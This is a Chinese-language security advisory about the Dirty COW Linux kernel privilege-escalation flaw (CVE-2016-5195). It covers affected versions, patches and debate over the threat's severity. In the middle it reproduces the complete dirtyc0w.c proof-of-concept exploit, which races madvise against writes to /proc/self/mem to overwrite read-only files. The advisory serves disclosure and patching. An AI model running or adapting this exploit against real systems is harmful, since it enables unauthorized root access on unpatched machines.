漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

释放双眼,带上耳机,听听看~!
这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。

这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。

漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

漏洞编号:

CVE-2016-5195

漏洞名称:

Dirty COW

漏洞危害:

低权限用户利用该漏洞可以在众多Linux系统上实现本地提权

影响范围:

Linux kernel >= 2.6.22(2007年发行,到今年10月18日才修复)

漏洞概述:

该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

根据官方发布的补丁信息,这个问题可以追溯到2007年发布的Linux内核。现在还没有任何证据表明,2007年后是否有黑客利用了这个漏洞。不过安全专家Phil Oester称发现一名攻击者利用该漏洞部署攻击,并向Red Hat通报了最近的攻击事件。

修复方法:

进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4 LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞。目前新版本已经登录各GNU/Linux发行版库,包括Arch Linux(测试中)、Solus和所有受支持版本的Ubuntu。Debian开发人员前天也宣布稳定版Debian GNU/Linux 8 “Jessei”系列内核重要更新——本次更新总共修复4个Linux内核安全漏洞,其中也包括了脏牛。

各操作系统供应商应该即刻下载Linux kernel 4.8.3、Linux kernel 4.7.9和Linux kernel 4.4.26 LTS,为用户提供稳定版渠道更新。

软件开发人员可以通过 https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

漏洞POC:


1
<p>/*</p><p>####################### dirtyc0w.c #######################</p><p>$ sudo -s</p><p># echo this is not a test &gt; foo</p><p># chmod 0404 foo</p><p>$ ls -lah foo</p><p>-r-----r-- 1 root root 19 Oct 20 15:23 foo</p><p>$ cat foo</p><p>this is not a test</p><p>$ gcc -lpthread dirtyc0w.c -o dirtyc0w</p><p>$ ./dirtyc0w foo m00000000000000000</p><p>mmap 56123000</p><p>madvise 0</p><p>procselfmem 1800000000</p><p>$ cat foo</p><p>m00000000000000000</p><p>####################### dirtyc0w.c #######################</p><p>*/</p><p>#include &lt;stdio.h&gt;</p><p>#include &lt;sys/mman.h&gt;</p><p>#include &lt;fcntl.h&gt;</p><p>#include &lt;pthread.h&gt;</p><p>#include &lt;string.h&gt;</p><p>&nbsp;</p><p>void *map;</p><p>int f;</p><p>struct stat st;</p><p>char *name;</p><p>&nbsp;</p><p>void *madviseThread(void *arg)</p><p>{</p><p>&nbsp; char *str;</p><p>&nbsp; str=(char*)arg;</p><p>&nbsp; int i,c=0;</p><p>&nbsp; for(i=0;i&lt;100000000;i++)</p><p>&nbsp; {</p><p>/*</p><p>You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661</p><p>&gt; This is achieved by racing the madvise(MADV_DONTNEED) system call</p><p>&gt; while having the page of the executable mmapped in memory.</p><p>*/</p><p>&nbsp; &nbsp; c+=madvise(map,100,MADV_DONTNEED);</p><p>&nbsp; }</p><p>&nbsp; printf("madvise %d/n/n",c);</p><p>}</p><p>&nbsp;</p><p>void *procselfmemThread(void *arg)</p><p>{</p><p>&nbsp; char *str;</p><p>&nbsp; str=(char*)arg;</p><p>/*</p><p>You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16</p><p>&gt; &nbsp;The in the wild exploit we are aware of doesn't work on Red Hat</p><p>&gt; &nbsp;Enterprise Linux 5 and 6 out of the box because on one side of</p><p>&gt; &nbsp;the race it writes to /proc/self/mem, but /proc/self/mem is not</p><p>&gt; &nbsp;writable on Red Hat Enterprise Linux 5 and 6.</p><p>*/</p><p>&nbsp; int f=open("/proc/self/mem",O_RDWR);</p><p>&nbsp; int i,c=0;</p><p>&nbsp; for(i=0;i&lt;100000000;i++) {</p><p>/*</p><p>You have to reset the file pointer to the memory position.</p><p>*/</p><p>&nbsp; &nbsp; lseek(f,map,SEEK_SET);</p><p>&nbsp; &nbsp; c+=write(f,str,strlen(str));</p><p>&nbsp; }</p><p>&nbsp; printf("procselfmem %d/n/n", c);</p><p>}</p><p>&nbsp;</p><p>&nbsp;</p><p>int main(int argc,char *argv[])</p><p>{</p><p>/*</p><p>You have to pass two arguments. File and Contents.</p><p>*/</p><p>&nbsp; if (argc&lt;3)return 1;</p><p>&nbsp; pthread_t pth1,pth2;</p><p>/*</p><p>You have to open the file in read only mode.</p><p>*/</p><p>&nbsp; f=open(argv[1],O_RDONLY);</p><p>&nbsp; fstat(f,&amp;st);</p><p>&nbsp; name=argv[1];</p><p>/*</p><p>You have to use MAP_PRIVATE for copy-on-write mapping.</p><p>&gt; Create a private copy-on-write mapping. &nbsp;Updates to the</p><p>&gt; mapping are not visible to other processes mapping the same</p><p>&gt; file, and are not carried through to the underlying file. &nbsp;It</p><p>&gt; is unspecified whether changes made to the file after the</p><p>&gt; mmap() call are visible in the mapped region.</p><p>*/</p><p>/*</p><p>You have to open with PROT_READ.</p><p>*/</p><p>&nbsp; map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);</p><p>&nbsp; printf("mmap %x/n/n",map);</p><p>/*</p><p>You have to do it on two threads.</p><p>*/</p><p>&nbsp; pthread_create(&amp;pth1,NULL,madviseThread,argv[1]);</p><p>&nbsp; pthread_create(&amp;pth2,NULL,procselfmemThread,argv[2]);</p><p>/*</p><p>You have to wait for the threads to finish.</p><p>*/</p><p>&nbsp; pthread_join(pth1,NULL);</p><p>&nbsp; pthread_join(pth2,NULL);</p><p>&nbsp; return 0;</p><p>}</p>

安全公司高估了“脏牛”的威胁?

虽然这个漏洞今天占据了各大安全媒体的头条,但实际上它对Linux生态系统可能并没有构成致命威胁,当然用户还是应该及时更新系统。

发现该漏洞的安全研究人员认为,某些安全公司过度夸大了这个漏洞的危害——为了嘲讽了那些夸大此漏洞的人,他们特别为“脏牛”做了logo和主页,设了推特账户,还开了个网店,店里的电脑包售价仅在1.71万美元(上万了呢),上面有脏牛的LOGO哦,算是相当有诚意的周边。

漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

话虽如此,“脏牛”漏洞构成的威胁还是真实存在的。在接受V3的采访时,Oester披露,有攻击者上传并执行CVE-2016-5195漏洞利用,攻击了他管理的某个网站。Oester表示:“这个漏洞年代久远,可以影响到许多年前发布的Linux内核。所有Linux用户都应严肃对待这个漏洞,及时修复系统。”

* 漏洞盒子安全团队发布,转载请注明来自FreeBuf(FreeBuf.COM)

给TA打赏
共{{data.count}}人
人已打赏
安全事件

FreeBuf 2016火热招聘

2016-12-19 12:27:38

安全事件

漏洞盒子项目上新:BTCChina网站安全测试

2016-12-19 14:19:28

个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索